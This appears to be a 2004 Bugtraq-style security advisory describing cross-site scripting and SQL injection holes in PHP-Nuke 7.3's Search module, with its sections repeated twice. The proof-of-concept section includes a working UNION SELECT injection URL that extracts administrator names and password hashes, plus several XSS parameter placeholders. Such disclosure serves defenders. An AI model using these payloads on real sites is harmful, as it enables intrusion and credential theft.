PHPNuke Multiple Input Validation Vulnerabilities
BID:10749
Info
PHPNuke Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 10749 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 19 2004 12:00AM |
| Updated: | Jul 19 2004 12:00AM |
| Credit: | Janek Vind <[email protected]> disclosed these vulnerabilities. |
| Vulnerable: |
Francisco Burzi PHP-Nuke 7.3 |
| Not Vulnerable: | |
Discussion
PHPNuke Multiple Input Validation Vulnerabilities
It is reported that PHPNuke is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.
This can allow for theft of cookie-based authentication credentials and other attacks. Attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.
These vulnerabilities were reported in version 7.3 of PHPNuke. Other versions may also be affected.
It is reported that PHPNuke is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.
This can allow for theft of cookie-based authentication credentials and other attacks. Attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.
These vulnerabilities were reported in version 7.3 of PHPNuke. Other versions may also be affected.
Exploit / POC
PHPNuke Multiple Input Validation Vulnerabilities
No exploit is required.
The following proof of concept examples are available:
http://www.example.com/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*
http://www.example.com/nuke73/modules.php?name=Search&sid=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=*&max=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments
http://www.example.com/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]
http://www.example.com/modules.php?name=Search&query=*&mod3=[xss
code here]
No exploit is required.
The following proof of concept examples are available:
http://www.example.com/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*
http://www.example.com/nuke73/modules.php?name=Search&sid=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=*&max=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments
http://www.example.com/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]
http://www.example.com/modules.php?name=Search&query=*&mod3=[xss
code here]
Solution / Fix
PHPNuke Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.